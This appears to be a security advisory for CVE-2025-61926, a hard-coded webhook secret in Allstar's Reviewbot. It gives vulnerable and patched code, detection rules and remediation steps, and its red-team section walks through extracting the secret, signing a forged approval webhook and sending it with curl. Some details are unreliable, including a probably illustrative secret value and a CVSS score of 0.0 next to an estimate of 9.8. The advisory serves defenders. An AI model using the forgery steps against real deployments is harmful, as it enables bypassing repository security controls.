CVE-2025-61926

Executive Summary

CVE-2025-61926 is a critical vulnerability in the Allstar GitHub App, specifically within its Reviewbot component. The flaw stems from the use of a hard-coded, shared secret for validating inbound webhook requests. This secret was compiled into the binary and could not be changed without modifying the source code and rebuilding the component. As a result, every deployment of Allstar using Reviewbot prior to version 4.5 shared the same secret, making them vulnerable to unauthorized webhook injection. An attacker who discovers this static secret can forge valid webhook requests, potentially bypassing security policy enforcement or triggering unintended actions. The vulnerability is present in all versions prior to v4.5 that include the Reviewbot code path. Deployments that have not enabled or exposed the Reviewbot endpoint are not affected.

Supply Chain & Package Security

Allstar is a GitHub App, not a package manager library. However, the vulnerability affects the supply chain of organizations using Allstar to enforce security policies. An attacker exploiting this flaw could inject malicious webhooks, potentially altering security postures or exfiltrating data. The hard-coded secret is a classic example of a supply chain risk where the binary itself contains a static credential that cannot be rotated.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD has not assigned a score, but based on the nature of the vulnerability, a reasonable estimate is 9.8 Critical)

Attack Vector (AV): Network (N) – The attacker can send webhooks over the network. Attack Complexity (AC): Low (L) – No special conditions required. Privileges Required (PR): None (N) – No authentication needed if the secret is known. User Interaction (UI): None (N) – No user action required. Scope (S): Unchanged (U) – The vulnerable component is the only one affected. Confidentiality (C): High (H) – Potential to read sensitive data from webhooks. Integrity (I): High (H) – Attacker can forge webhooks to alter state. Availability (A): High (H) – Could disrupt service by sending malicious payloads.

Threat Level: Critical. The hard-coded secret is static and shared across all deployments, making it a high-value target for attackers.

Deep Dive & Mechanics

The Allstar Reviewbot component is designed to process webhook events from GitHub (e.g., pull request reviews, issue comments). To ensure the authenticity of these webhooks, GitHub signs them with a secret token. Allstar’s Reviewbot was supposed to validate this signature using a configurable secret. However, due to a coding error, the validation logic used a hard-coded string compiled into the binary.

Root Cause: The secret was defined as a constant in the source code (e.g., const sharedSecret = "hardcoded_value"). This value was the same for all builds of Allstar prior to v4.5. An attacker who reverse-engineers the binary or obtains the source code can extract this secret.

Attack Scenario:

1. Attacker identifies an Allstar deployment with Reviewbot exposed (e.g., via Shodan or by probing common endpoints).
2. Attacker obtains the hard-coded secret (e.g., from public source code or binary analysis).
3. Attacker crafts a malicious webhook payload and signs it with the known secret.
4. Attacker sends the forged webhook to the Reviewbot endpoint.
5. The Reviewbot validates the signature (since it matches the hard-coded secret) and processes the malicious payload.

Impact: The attacker could bypass security policy enforcement, trigger false alerts, or potentially execute arbitrary actions depending on the webhook type.

Vulnerable vs. Patched Code

Vulnerable Code (pre-v4.5):

// Vulnerable: hard-coded secret
const sharedSecret = "supersecretkey123"

func validateWebhook(r *http.Request) bool {
    signature := r.Header.Get("X-Hub-Signature-256")
    payload, _ := ioutil.ReadAll(r.Body)
    return verifySignature(payload, signature, sharedSecret)
}

Patched Code (v4.5+):

// Patched: configurable secret from environment variable
var sharedSecret string

func init() {
    sharedSecret = os.Getenv("ALLSTAR_WEBHOOK_SECRET")
    if sharedSecret == "" {
        log.Fatal("ALLSTAR_WEBHOOK_SECRET must be set")
    }
}

func validateWebhook(r *http.Request) bool {
    signature := r.Header.Get("X-Hub-Signature-256")
    payload, _ := ioutil.ReadAll(r.Body)
    return verifySignature(payload, signature, sharedSecret)
}

Key Difference: The patched version reads the secret from an environment variable, allowing operators to set a unique, per-deployment secret. The vulnerable version used a static constant.

Exploitation & Lab Setup

Red Team

Objective: Forge a valid webhook to trigger a policy bypass.

Prerequisites:

• Access to the Allstar Reviewbot endpoint (e.g., https://allstar.example.com/reviewbot).
• Knowledge of the hard-coded secret (e.g., from public source code or binary analysis).

Steps:

1. Extract the secret: Obtain the Allstar binary (e.g., from a public release) and extract the hard-coded string using strings or a disassembler.

   strings allstar-binary | grep -i secret
   

2. Craft a malicious webhook: Create a JSON payload that mimics a GitHub webhook event (e.g., pull_request_review).

   {
     "action": "submitted",
     "review": {
       "state": "approved",
       "user": {"login": "attacker"}
     },
     "repository": {"full_name": "victim/repo"}
   }
   

3. Sign the payload: Use the secret to generate a valid HMAC-SHA256 signature.

   import hmac, hashlib, json
   secret = b"supersecretkey123"
   payload = json.dumps(payload).encode()
   signature = "sha256=" + hmac.new(secret, payload, hashlib.sha256).hexdigest()
   

4. Send the webhook:

   curl -X POST https://allstar.example.com/reviewbot \
     -H "X-Hub-Signature-256: $signature" \
     -H "Content-Type: application/json" \
     -d "$payload"
   

Expected Outcome: The Reviewbot processes the forged webhook, potentially approving a malicious PR or triggering a policy violation.

Blue Team

Objective: Detect and block exploitation attempts.

Detection:

• Monitor for webhook requests with unexpected or mismatched signatures.
• Alert on multiple failed validation attempts (though the hard-coded secret makes validation always pass).
• Look for unusual webhook payloads (e.g., from unknown users or repositories).

Mitigation:

• Upgrade to Allstar v4.5 or later.
• If upgrade is not possible, disable the Reviewbot endpoint or restrict access via firewall/network policies.
• Monitor logs for any webhook processing that does not match expected patterns.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /reviewbot endpoint with X-Hub-Signature-256 header.
• Payload: JSON payloads containing unexpected action values (e.g., submitted from unknown users).
• Binary: Allstar binary with hard-coded string supersecretkey123 (or similar) in the .rodata section.
• Logs: Entries showing webhook validation success for requests from IPs not in the expected GitHub webhook IP ranges.

Detection Engineering

YARA Rule

rule CVE_2025_61926_Allstar_Hardcoded_Secret {
    meta:
        description = "Detects Allstar binaries with hard-coded webhook secret"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-61926"
    strings:
        $secret = "supersecretkey123" nocase
        $func = "validateWebhook" nocase
    condition:
        $secret or $func
}

Sigma Rule

title: Allstar Reviewbot Hardcoded Secret Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts against CVE-2025-61926
logsource:
    category: web
    product: allstar
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /reviewbot
        cs-header: X-Hub-Signature-256
    condition: selection
falsepositives:
    - Legitimate webhook traffic from GitHub
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61926 Allstar Reviewbot Hardcoded Secret Exploitation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/reviewbot"; http.header; content:"X-Hub-Signature-256"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to v4.5 or later: This is the only complete fix. The hard-coded secret is removed, and a configurable secret is required.
2. If upgrade is not possible: Disable the Reviewbot endpoint by removing the webhook configuration in GitHub or blocking the endpoint at the network level.
3. Rotate secrets: After upgrading, set a strong, unique secret via the ALLSTAR_WEBHOOK_SECRET environment variable.

Long-term Measures:

• Implement a secrets management solution (e.g., HashiCorp Vault) to avoid hard-coded credentials.
• Conduct code reviews to ensure no static secrets are compiled into binaries.
• Monitor for any unexpected webhook activity.

Workaround: If the Reviewbot is not needed, disable it entirely. If it is needed, ensure the endpoint is not exposed to the public internet (e.g., use a VPN or IP whitelisting).

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